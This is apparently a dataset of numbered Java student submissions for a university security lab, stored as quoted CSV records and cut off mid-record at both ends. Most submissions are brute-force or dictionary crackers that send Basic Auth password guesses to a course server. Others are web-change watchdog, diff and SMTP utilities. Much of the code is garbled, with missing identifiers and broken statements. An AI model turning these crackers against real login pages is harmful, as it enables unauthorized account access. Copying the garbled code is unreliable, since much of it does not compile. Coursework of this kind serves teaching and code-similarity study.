urlString) { HttpURLConnection connection; StringBuffer sb = new StringBuffer(); Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println ("" time :"" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""""); setPassword(""rhk8611""); System.out.println(""Attempting get a response : "" +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + "" ""); if (responseCode == HttpURLConnection.HTTP_OK) { retry = false; System.out.println(""**** ACCESS GRANTED *****""); } else { retry = true; throw new IOException( ""HTTP response : "" + String.valueOf(responseCode) + ""\nResponse Message: "" +connection.getResponseMessage()); } InputStream content = (InputStream)url.getContent(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { sb.append(line); } } catch (MalformedURLException e) { retry=false; System.out.println (""Invalid URL"" + e.getMessage()); } catch (IOException e) { retry=true; connection = null; System.out.println (""Error URL \n"" + e.getMessage()); } } endTime = new Date(); System.out.print (""Total Time taken :"" + (endTime.getTime() - startTime.getTime())/1000*60 + "" Minutes ""); System.out.println ((endTime.getTime() - startTime.getTime())/1000 + "" Sec""); return sb.toString(); } public static void main (String args[]) { BruteForce myGenerator = new BruteForce(); System.out.println(""Starting seed is : ""+ myGenerator.getSeed() ); String pageFound = myGenerator.fetchURL(""http://sec-crack.cs.rmit.edu./SEC/2/""); System.out.println("" ACCESSED ->\n"" + pageFound); } class MyAuthenticator extends Authenticator { protected PasswordAuthentication getPasswordAuthentication() { String username = getUserId(); String pass = getPassword(); if (pass.equals(""ZZZ"")) { System.out.println(""\nReached the end of combinations. EXITING.\n""); System.exit(0); } if ((tries % 8) == 0 ) { pass = """" + getNextPassword(); }else { pass = """"+ getNextPasswordCase(""""+getSeed(), tries%8); } tries ++; System.out.println(tries + "" Authenticating with -> "" + pass); return new PasswordAuthentication (username, pass.toCharArray()); } } public String getPassword() { return this.password; } public void setPassword(String password) { this.password = password; } public String getUserId() { return this.userId; } public void setUserId(String userId) { this.userId = userId; } public StringBuffer getNextPassword() { final int STRING_RADIX = 36; int changeDigit; int dig; char cdig; changeDigit = 2; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); changeDigit = 1; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } else { seed.setCharAt(2,'a'); seed.setCharAt(1,'a'); changeDigit = 0; if (getSeed().charAt(changeDigit) < 'z') { dig = Character.digit(getSeed().charAt(changeDigit), STRING_RADIX); dig = dig + 1; cdig = Character.forDigit(dig, STRING_RADIX); seed.setCharAt(changeDigit,cdig); } } } return getSeed(); } private StringBuffer getNextPasswordCase(String pwd, int inx) { StringBuffer casePwd = new StringBuffer(pwd); char myChar; switch (inx) { case 1: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); break; case 2: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 3: myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 4: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); break; case 5: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 6: myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; case 7: myChar = pwd.charAt(0); casePwd.setCharAt(0, Character.toUpperCase(myChar)); myChar = pwd.charAt(1); casePwd.setCharAt(1, Character.toUpperCase(myChar)); myChar = pwd.charAt(2); casePwd.setCharAt(2, Character.toUpperCase(myChar)); break; } return(casePwd); } public StringBuffer getSeed() { return this.seed; } public void setSeed(StringBuffer seed) { this.seed = seed; } } " 105.java," import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class Dictionary { public Dictionary() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter sw= new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+"":""+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println(""Original String = "" + userPwd); System.out.println(""Encoded String = "" + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( ""Authorization"","" ""+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println (""Invalid URL""); return false; } catch (IOException e) { pw.println (""Error URL""); return false; } } public void getPassword() { String dictionary=""words""; String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; String login=""""; String pwd="" ""; try { BufferedReader inputStream=new BufferedReader(new FileReader(dictionary)); startTime=System.currentTimeMillis(); while (pwd!=null) { pwd=inputStream.readLine(); if(this.fetchURL(urlString,login,pwd)) { finishTime=System.currentTimeMillis(); System.out.println(""Finally I gotta it, password is : ""+pwd); System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds""); System.exit(1); } } inputStream.close(); } catch(FileNotFoundException e) { System.out.println(""Dictionary not found.""); } catch(IOException e) { System.out.println(""Error dictionary""); } } public static void main(String[] arguments) { BruteForce bf=new BruteForce(); bf.getPassword(); } }" 194.java," import java.io.*; import java.util.*; class BruteForce{ public static void main(String args[]){ String pass,s; char a,b,c; int z=0; int attempt=0; Process p; char password[]={'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q', 'R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f','g','h', 'i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'}; z = System.currentTimeMillis(); int at=0; for(int i=0;i 0) { urlPath = args[0]; System.out.println(""URL "" + urlPath); Dictionary dict = new Dictionary(urlPath); } else{ System.out.println(""Please enter URL at command prompt""); System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/""); } System.exit(0); } public Dictionary(String urlPath) throws Exception { linkToWeb(urlPath); } public boolean linkToWeb(String urlPath) throws Exception { HttpURLConnection connection; String word = null; String usrName = """"; String usrNamePwd = null; String encoding = null; URL = new URL(urlPath); BufferedReader inputStream = new BufferedReader(new FileReader(""words"")); word = inputStream.readLine(); while(word != null) { if(word.length() <= 3){ usrNamePwd = usrName +"":""+ word; encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes()); connection = (HttpURLConnection).openConnection(); connection.setRequestProperty(""Authorization"", "" "" + encoding); System.out.println(word); if(connection.getResponseCode() == 200){ System.out.println(""Password Found "" +word); return true; } connection.disconnect(); } word = inputStream.readLine(); } System.out.println(""Password not found"" ); return false; } public class Base64Converter { public final char [ ] alphabet = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/' }; public String encode ( String s ) { return encode ( s.getBytes ( ) ); } public String encode ( byte [ ] octetString ) { int bits24; int bits6; char [ ] out = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ]; int outIndex = 0; int i = 0; while ( ( i + 3 ) <= octetString.length ) { bits24 = ( octetString [ i++ ] & 0xFF ) << 16; bits24 |= ( octetString [ i++ ] & 0xFF ) << 8; bits24 |= ( octetString [ i++ ] & 0xFF ) << 0; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0000003F ); out [ outIndex++ ] = alphabet [ bits6 ]; } if ( octetString.length - i == 2 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x00000FC0 ) >> 6; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; } else if ( octetString.length - i == 1 ) { bits24 = ( octetString [ i ] & 0xFF ) << 16; bits6 = ( bits24 & 0x00FC0000 ) >> 18; out [ outIndex++ ] = alphabet [ bits6 ]; bits6 = ( bits24 & 0x0003F000 ) >> 12; out [ outIndex++ ] = alphabet [ bits6 ]; out [ outIndex++ ] = '='; out [ outIndex++ ] = '='; } return new String ( out ); } } } " 011.java,"import java.net.*; import java.io.*; import java.util.Vector; import java.util.Date; import java.security.*; public class BruteForce { public static BufferedReader in; public static void main (String[] args) throws Exception { String baseURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; Date date = new Date(); startTime=date.getTime(); int LIMITINMINUTES=45; int TIMELIMIT=LIMITINMINUTES*1000*60; boolean timedOut=false; boolean found=false; char[] letters={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'}; char[] lettersLC={'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'}; char[] lettersUC={'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y','Z'}; while (found==false) { String password = """"; URL url = new URL(baseURL); String username=""""; for (int i=0; i(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersUC.length; } } } if (!found){ for (int j=0; j(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersUC.length; } } } if (!found){ for (int j=0; j(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersUC.length; } } } if (!found){ for (int j=0; j(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersLC.length; } } } if (!found){ for (int j=0; j(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; j=lettersLC.length; } } } if (found){ System.out.println(""Password is: ""+password); } else { found=true; if (!timedOut){ System.out.println(""Tried all combinations, still match.""); } } Date foundDate = new Date(); foundTime=foundDate.getTime(); foundTime=(foundTime-startTime); System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); } } } " 210.java," import java.io.*; import java.util.*; import java.*; public class storeNewFile { private PrintWriter outputStream= null; private String filename; private FileWriter fw; public storeNewFile(String fname) { try { filename = fname; outputStream=new PrintWriter(new FileOutputStream(filename)); } catch(FileNotFoundException e) { System.err.println(""File ""+filename+"" was not found""); } catch(IOException e) { System.err.println(""Error ""); } } public void getStringW(StringWriter sw) { outputStream.print(sw.toString()); } public void closeStream() { outputStream.write(); } public void translogFile(String result) { String fileName = ""TransactionLog.txt""; try{ fw=new FileWriter(fileName,true); fw.write(result); fw.write('\n'); fw.print(); System.out.println(""Saved sucessfully""); }catch(IOException e){ System.out.println(""Error saving the file""); } } }" 176.java," public class ImageFile { private String imageUrl; private int imageSize; public ImageFile(String url, int size) { imageUrl=url; imageSize=size; } public String getImageUrl() { return imageUrl; } public int getImageSize() { return imageSize; } } " 131.java," import java.io.*; import java.net.*; public class BruteForce { private String myUsername = """"; private String urlToCrack = ""http://sec-crack.cs.rmit.edu./SEC/2""; private int NUM_CHARS = 52; public static void main(String args[]) { BruteForce bf = new BruteForce(); } public BruteForce() { generatePassword(); } public void generatePassword() { int index1 = 0, index2, index3; char passwordChars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z' }; while(index1 < NUM_CHARS) { index2 = 0; while(index2 < NUM_CHARS) { index3 = 0; while(index3 < NUM_CHARS) { crackPassword(new String("""" + passwordChars[index1] + passwordChars[index2] + passwordChars[index3])); index3++; } index2++; } index1++; } } public void crackPassword(String passwordToCrack) { String data, dataToEncode, encodedData; try { URL url = new URL (urlToCrack); dataToEncode = myUsername + "":"" + passwordToCrack; encodedData = new url.misc.BASE64Encoder().encode(dataToEncode.getBytes()); URLConnection urlCon = url.openConnection(); urlCon.setRequestProperty(""Authorization"", "" "" + encodedData); InputStream is = (InputStream)urlCon.getInputStream(); InputStreamReader isr = new InputStreamReader(is); BufferedReader bf = new BufferedReader(isr); { data = bf.readLine(); System.out.println(data); displayPassword(passwordToCrack); } while (data != null); } catch (IOException e) { } } public void displayPassword(String foundPassword) { System.out.println(""\nThe cracked password is : "" + foundPassword); System.exit(0); } } " 177.java,"import java.io.*; import java.net.*; import java.util.*; public class WatchdogThread implements Runnable { private Thread t; private Vector imageList; private String mainLink; private EmailClient email; private int delay; public WatchdogThread(String nMainLink, Vector images, EmailClient nEmail, int nDelay) { t=new Thread(this); mainLink = nMainLink; imageList=images; email = nEmail; delay = nDelay; t.start(); } public void run() { String errors = """"; try { Thread.currentThread().sleep(delay); errors = checkHTML(); errors += checkImages(); if (!errors.equals("""")) { String message = "" some changes in the Students Home as follows.\n\n""; message += errors; email.sendMail(""Change in Students Home "", message); } WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); } catch (InterruptedException e ) { System.out.print(); } } private String checkHTML() { String errors = """"; String line, line2; int lineNum = 1; try { FileReader fRead = new FileReader(""local.txt""); BufferedReader file = new BufferedReader(fRead); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); line=file.readLine(); line2=webpage.readLine(); while ((line != null) && (line2 != null)) { if (!line.equals(line2)) { errors += ""At line "" + lineNum + ""\n""; errors += ""Old:"" + line.trim() + ""\n""; errors += ""New:"" + line2.trim() + ""\n\n""; } line = file.readLine(); line2=webpage.readLine(); lineNum+=1; } if (line != null) { errors += "" the following extra lines at the end of the old file.\n\n""; while (line != null) { errors += line + ""\n""; line = file.readLine(); } errors += ""\n""; } if (line2 != null) { errors += "" the following extra lines at the end of the new file.\n\n""; while (line2 != null) { errors += line2 + ""\n""; line2 = file.readLine(); } errors += ""\n""; } file.close(); fRead.close(); webpage.close(); connection.disconnect(); } catch (IOException ioe) { System.out.print(ioe); } return errors; } private String checkImages() { String errors = """"; ImageFile image; HttpURLConnection imgConnection; URL imgURL; int contentLen; try { for (int i=0;i""; String hostName = ""yallara.cs.rmit.edu.""; int delay = 86400000; try { int imgSrcIndex, imgSrcEnd; String imgLink; Vector imageList = new Vector(); HttpURLConnection imgConnection; URL imgURL; EmailClient email = new EmailClient(sender, recipient, hostName); URL url=new URL(mainLink); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream())); FileWriter fwrite = new FileWriter(""local.txt""); BufferedWriter writefile = new BufferedWriter(fwrite); String line=webpage.readLine(); while (line != null) { writefile.write(line,0,line.length()); writefile.newLine(); line = line.toLowerCase(); imgSrcIndex=line.indexOf(""src""); if(imgSrcIndex!=-1) { imgLink = line.substring(imgSrcIndex+3); imgSrcIndex=imgLink.indexOf(""\""""); imgLink = imgLink.substring(imgSrcIndex+1); imgSrcEnd = imgLink.indexOf(""\""""); imgLink = imgLink.substring(0,imgSrcEnd); if (imgLink.startsWith(""http"")) { imgURL = new URL(imgLink); imgConnection = (HttpURLConnection) imgURL.openConnection(); } else { imgURL = new URL(mainLink); imgURL = new URL(imgURL, imgLink); imgConnection = (HttpURLConnection) imgURL.openConnection(); imgLink = (imgConnection.getURL()).toString(); } imageList.add(new ImageFile(imgLink, imgConnection.getContentLength())); imgConnection.disconnect(); } line = webpage.readLine(); } writefile.close(); fwrite.close(); webpage.close(); connection.disconnect(); WatchdogThread watchdog = new WatchdogThread(mainLink, imageList, email, delay); } catch (IOException ioe) { System.out.println(ioe); System.out.println(""Please run program again.""); System.exit(0); } } } " 078.java,"import java.util.*; import java.net.*; import java.io.*; public class BruteForce { boolean connected = false; int counter; String[] chars = {""a"",""b"",""c"",""d"",""e"",""f"",""g"",""h"", ""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"", ""q"",""r"",""s"",""t"",""u"",""v"",""w"",""x"", ""y"",""z"",""A"",""B"",""C"",""D"",""E"",""F"", ""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"", ""O"",""P"",""Q"",""R"",""S"",""T"",""U"",""V"", ""W"",""X"",""Y"",""Z""}; Vector combinations = new Vector(); BruteForce() { counter = 0; this.genCombinations(); this.startAttack(); } public void startAttack() { while(counter ++a) outfile.print("""" + a + sepchar + b); else outfile.print(b); } public static char change_letter(int inserts, int deletes) { if (inserts == 0) return 'd'; else if (deletes == 0) return 'a'; else return 'c'; } } public static class NormalPrint extends Base { public NormalPrint(Object[] a,Object[] b) { super(a,b); } protected void print_hunk (Diff.change hunk) { analyze_hunk(hunk); if (deletes == 0 && inserts == 0) return; print_number_range (',', first0, last0); outfile.print(change_letter(inserts, deletes)); print_number_range (',', first1, last1); outfile.println(); if (deletes != 0) for (int i = first0; i <= last0; i++) print_1_line (""< "", file0[i]); if (inserts != 0 && deletes != 0) outfile.println(""---""); if (inserts != 0) for (int i = first1; i <= last1; i++) print_1_line (""> "", file1[i]); } } public static class EdPrint extends Base { public EdPrint(Object[] a,Object[] b) { super(a,b); } protected void print_hunk(Diff.change hunk) { analyze_hunk (hunk); if (deletes == 0 && inserts == 0) return; print_number_range (',', first0, last0); outfile.println(change_letter(inserts, deletes)); if (inserts != 0) { boolean inserting = true; for (int i = first1; i <= last1; i++) { if (! inserting) outfile.println(i - first1 + first0 + ""a""); inserting = true; if (""."".equals(file1[i])) { outfile.println(""..""); outfile.println("".""); outfile.println(i - first1 + first0 + 1 + ""s/^\\.\\././""); inserting = false; } else print_1_line ("""", file1[i]); } if (inserting) outfile.println("".""); } } } public static class ContextPrint extends Base { protected int context = 3; public ContextPrint(Object[] a,Object[] b) { super(a,b); } protected void print_context_label (String cad, File inf, String label) { if (label != null) outfile.println(cad + ' ' + label); else if (inf.lastModified() > 0) outfile.println( cad + ' ' + inf.getPath() + '\t' + new Date(inf.lastModified()) ); else outfile.println( cad + ' ' + inf.getPath()); } public void print_header(String filea,String fileb) { print_context_label (""***"", new File(filea), filea); print_context_label (""---"", new File(fileb), fileb); } private String find_function(Object[] lines, int x) { return null; } protected void print_function(Object[] file,int x) { String function = find_function (file0, first0); if (function != null) { outfile.print("" ""); outfile.print( (function.length() < 40) ? function : function.substring(0,40) ); } } protected void print_hunk(Diff.change hunk) { analyze_hunk (hunk); if (deletes == 0 && inserts == 0) return; first0 = Math.sqrt(first0 - context, 0); first1 = Math.sqrt(first1 - context, 0); last0 = Math.sqrt(last0 + context, file0.length - 1); last1 = Math.sqrt(last1 + context, file1.length - 1); outfile.print(""***************""); print_function (file0, first0); outfile.println(); outfile.print(""*** ""); print_number_range (',', first0, last0); outfile.println("" ****""); if (deletes != 0) { Diff.change next = hunk; for (int i = first0; i <= last0; i++) { while (next != null && next.line0 + next.deleted <= i) next = next.next; String prefix = "" ""; if (next != null && next.line0 <= i) prefix = (next.inserted > 0) ? ""!"" : ""-""; print_1_line (prefix, file0[i]); } } outfile.print(""--- ""); print_number_range (',', first1, last1); outfile.println("" ----""); if (inserts != 0) { Diff.change next = hunk; for (int i = first1; i <= last1; i++) { while (next != null && next.line1 + next.inserted <= i) next = next.next; String prefix = "" ""; if (next != null && next.line1 <= i) prefix = (next.deleted > 0) ? ""!"" : ""+""; print_1_line (prefix, file1[i]); } } } } public static class UnifiedPrint extends ContextPrint { public UnifiedPrint(Object[] a,Object[] b) { super(a,b); } public void print_header(String filea,String fileb) { print_context_label (""---"", new File(filea), filea); print_context_label (""+++"", new File(fileb), fileb); } private void print_number_range (int a, int b) { if (b < a) outfile.print(b + "",0""); else super.print_number_range(',',a,b); } protected void print_hunk(Diff.change hunk) { analyze_hunk (hunk); if (deletes == 0 && inserts == 0) return; first0 = Math.sqrt(first0 - context, 0); first1 = Math.sqrt(first1 - context, 0); last0 = Math.sqrt(last0 + context, file0.length - 1); last1 = Math.sqrt(last1 + context, file1.length - 1); outfile.print(""@@ -""); print_number_range (first0, last0); outfile.print("" +""); print_number_range (first1, last1); outfile.print("" @@""); print_function(file0,first0); outfile.println(); Diff.change next = hunk; int i = first0; int j = first1; while (i <= last0 || j <= last1) { if (next == null || i < next.line0) { outfile.print(' '); print_1_line("""", file0[i++]); j++; } else { int k = next.deleted; while (k-- > 0) { outfile.print('-'); print_1_line("""", file0[i++]); } k = next.inserted; while (k-- > 0) { outfile.print('+'); print_1_line("""", file1[j++]); } next = next.next; } } } } static String[] slurp(String file) throws IOException { BufferedReader rdr = new BufferedReader(new FileReader(file)); Vector s = new Vector(); for (;;) { String line = rdr.readLine(); if (line == null) break; s.addElement(line); } String[] a = new String[s.size()]; s.copyInto(a); return a; } public static String getDiff(String filea,String fileb,String filec) throws IOException { DiffPrint.outFile=filec; String msg=""""; String[] a = slurp(filea); String[] b = slurp(fileb); String [] argv={filea,fileb}; Diff d = new Diff(a,b); char style = 'n'; for (int i = 0; i < argv.length - 2; ++i) { String f = argv[i]; if (f.startsWith(""-"")) { for (int j = 1; j < f.length(); ++j) { switch (f.charAt(j)) { case 'e': style = 'e'; break; case 'c': style = 'c'; break; case 'u': style = 'u'; break; } } } } boolean reverse = style == 'e'; Diff.change script = d.diff_2(reverse); if (script == null) msg=""The text the has not changed.\n""; else { Base p; msg=""The text the has changed.\n The Diff Output is : \n\n""; switch (style) { case 'e': p = new EdPrint(a,b); break; case'c': p = new ContextPrint(a,b); break; case 'u': p = new UnifiedPrint(a,b); break; default: p = new NormalPrint(a,b); } p.print_header(filea,fileb); p.print_script(script); } return msg; } } " 187.java," import java.net.*; import java.io.*; import java.util.Date; public class MyMail implements Serializable { public static final int SMTPPort = 25; public static final char successPrefix = '2'; public static final char morePrefix = '3'; public static final char failurePrefix = '4'; private static final String CRLF = ""\r\n""; private String mailFrom = """"; private String mailTo = """"; private String messageSubject = """"; private String messageBody = """"; private String mailServer = """"; public MyMail () { super(); } public MyMail ( String serverName) { super(); mailServer = serverName; } public String getFrom() { return mailFrom; } public String getTo() { return mailTo; } public String getSubject() { return messageSubject; } public String getMessage() { return messageBody; } public String getMailServer() { return mailServer; } public void setFrom( String from ) { mailFrom = from; } public void setTo ( String To ) { mailTo = To; } public void setSubject ( String subject ) { messageSubject = subject; } public void setMessage ( String msg ) { messageBody = msg; } public void setMailServer ( String server ) { mailServer = server; } private boolean responseValid( String response ) { if (response.indexOf("" "") == -1) return false; String cad = response.substring( 0, response.indexOf("" "")); cad = cad.toUpperCase(); if (( cad.charAt(0) == successPrefix ) || ( cad.charAt(0) == morePrefix ) ) return true; else return false; } public void sendMail() { try { String response; Socket mailSock = new Socket (mailServer, SMTPPort); BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream())); PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream())); System.out.println(""1""); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException(""ERR - "" + response); try { InetAddress addr = InetAddress.getLocalHost(); String localHostname = addr.getHostName(); pout.print (""HELO "" + localHostname + CRLF); } catch (UnknownHostException uhe) { pout.print (""HELO myhostname"" + CRLF); } pout.flush(); System.out.println(""2""); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException(""ERR - "" + response); pout.println (""MAIL From:<"" + mailFrom + "">""); pout.flush(); System.out.println(""3""); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException(""ERR - "" + response); pout.println (""RCPT :<"" + mailTo + "">""); pout.flush(); System.out.println(""4""); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException(""ERR - "" + response); pout.println (""DATA""); pout.flush(); System.out.println(""5""); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException(""ERR - "" + response); pout.println (""From: "" + mailFrom); pout.println ("": "" + mailTo); pout.println (""Subject: "" + messageSubject); pout.println (); pout.println (messageBody); pout.println ("".\n\r""); pout.flush(); System.out.println(""6""); response = bf.readLine(); if ( !responseValid(response) ) throw new IOException(""ERR - "" + response); pout.println (""QUIT""); pout.flush(); mailSock.close(); } catch (IOException ioe) { System.out.println(ioe.getMessage()); } } }" 103.java," import java.io.*; import java.net.*; import java.misc.BASE64Encoder; public class BruteForce { public BruteForce() {} public boolean fetchURL(String urlString,String username,String password) { StringWriter = new StringWriter(); PrintWriter pw = new PrintWriter(); try{ URL url=new URL(urlString); String userPwd= username+"":""+password; BASE64Encoder encoder = new BASE64Encoder(); String encodedStr = encoder.encode (userPwd.getBytes()); System.out.println(""Original String = "" + userPwd); System.out.println(""Encoded String = "" + encodedStr); HttpURLConnection huc=(HttpURLConnection) url.openConnection(); huc.setRequestProperty( ""Authorization"","" ""+encodedStr); InputStream content = (InputStream)huc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { pw.println (line); System.out.println(""*************************************************""); System.out.println(sw.toString()); }return true; } catch (MalformedURLException e) { pw.println (""Invalid URL""); return false; } catch (IOException e) { pw.println (""Error URL""); return false; } } public void getPassword() { String alps=""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz""; String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/""; String login=""""; String pwd="" ""; startTime=System.currentTimeMillis(); for(int oneChar=0;oneChar(TIMELIMIT+startTime)){ System.out.println(""Timed out""); timedOut=true; } String password = """"; URL url = new URL(baseURL); String username=""""; password = dictionary.elementAt(count).toString(); String authString = username+"":""+password; String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); System.out.print(""authString is: ""+authString); URLConnection urlConnect=url.openConnection(); urlConnect.setRequestProperty(""Authorization"","" ""+encoding); String responseCode = urlConnect.getHeaderField(0); System.out.print("" Response is: ""); System.out.println(responseCode); if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) { found=true; } if (found){ System.out.println(""Password is: ""+password); } Date foundDate = new Date(); foundTime=foundDate.getTime(); foundTime=(foundTime-startTime); System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); count=count+1; } } public static Vector readWords() { String nextWord; String lastWord=""""; Vector dict=new Vector(); try { BufferedReader in = new BufferedReader(new FileReader(""words.txt"")); while ((nextWord = in.readLine())!=null) { if (nextWord.length()>3) { nextWord=nextWord.substring(0,3); } if (!lastWord.equals(nextWord) && nextWord.length()>0){ lastWord = nextWord; dict.addElement(nextWord); } } System.out.println(""File successfully loaded""); } catch (FileNotFoundException e1) { System.out.println(""This program requires a dictionary of words called words.txt in the same directory as the program running, now exiting.""); System.exit(0); } catch (IOException e2) { System.out.println(""IO Exception, exiting""); System.exit(0); } finally { try { if (null!=in) { in.get(); } } catch (IOException e3) {} } return dict; } } " 070.java," import java.misc.BASE64Encoder; import java.misc.BASE64Decoder; import java.io.*; import java.net.*; import java.util.*; public class Dictionary { public Dictionary(String url, String dictionaryFile) { try{ this.url = url; this.dictionaryPath = dictionaryFile; InputStream fis = new FileInputStream(this.dictionaryPath); dict = new BufferedReader(new InputStreamReader(fis)); }catch(IOException ioe){ System.out.println(""Error opening dictionary file:\n"" +ioe); } } private String url = null; private String dictionaryPath = null; private BufferedReader dict = null; private int attempts = 0; private int passwordSize = 3; public void setPasswordSize(int size){ this.passwordSize = size; } public String getNextPassword()throws IOException{ String line = dict.readLine(); while(line!=null&&line.length()!=this.passwordSize ) line = dict.readLine(); return line; } public String crackPassword(String user) throws IOException, MalformedURLException{ URL url = null; URLConnection urlConnection = null; String outcome = null; String authorization = null; String password = null; BASE64Encoder b64enc = new BASE64Encoder(); InputStream content = null; BufferedReader in = null; while(!""HTTP/1.1 200 OK"".equalsIgnoreCase(outcome)){ url = new URL(this.url); urlConnection = 